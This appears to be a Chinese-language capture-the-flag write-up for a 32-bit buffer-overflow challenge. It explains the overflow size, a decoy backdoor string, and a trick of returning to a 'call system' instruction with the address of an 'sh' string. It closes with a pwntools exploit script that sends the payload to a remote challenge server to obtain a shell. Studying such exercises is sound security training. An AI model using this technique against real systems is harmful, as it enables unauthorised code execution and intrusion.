# 1. 查看程序

32 位程序,开启了 nx

ida32 查看

main:

vulnerable: (可以溢出 12 个字节,也就是 32 位的 3 个字)

后门 shell ,可以发现并不是 '/bin/sh',被用来进行干扰了

# 2. 漏洞分析

一开始想着用栈迁移

因为后门有执行 system 函数,尽管无法 getshell,但是却提供了 call system,
限制了溢出的字节数,所以无法利用 system_plt 的地址 (因为需要返回地址,这样字节数不够),【而 call system 会直接将下一个命令压入栈中】,也就避免了在 32 位程序传参前要填入返回地址的麻烦

查找到 sh 的地址

# 3.exp

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
p=remote('node4.buuoj.cn',28779)

call_system=0x8048529
sh=0x08048670
payload1=b"a"*(0x18+4)+p32(call_system)+p32(sh)
p.sendline(payload1)
p.interactive()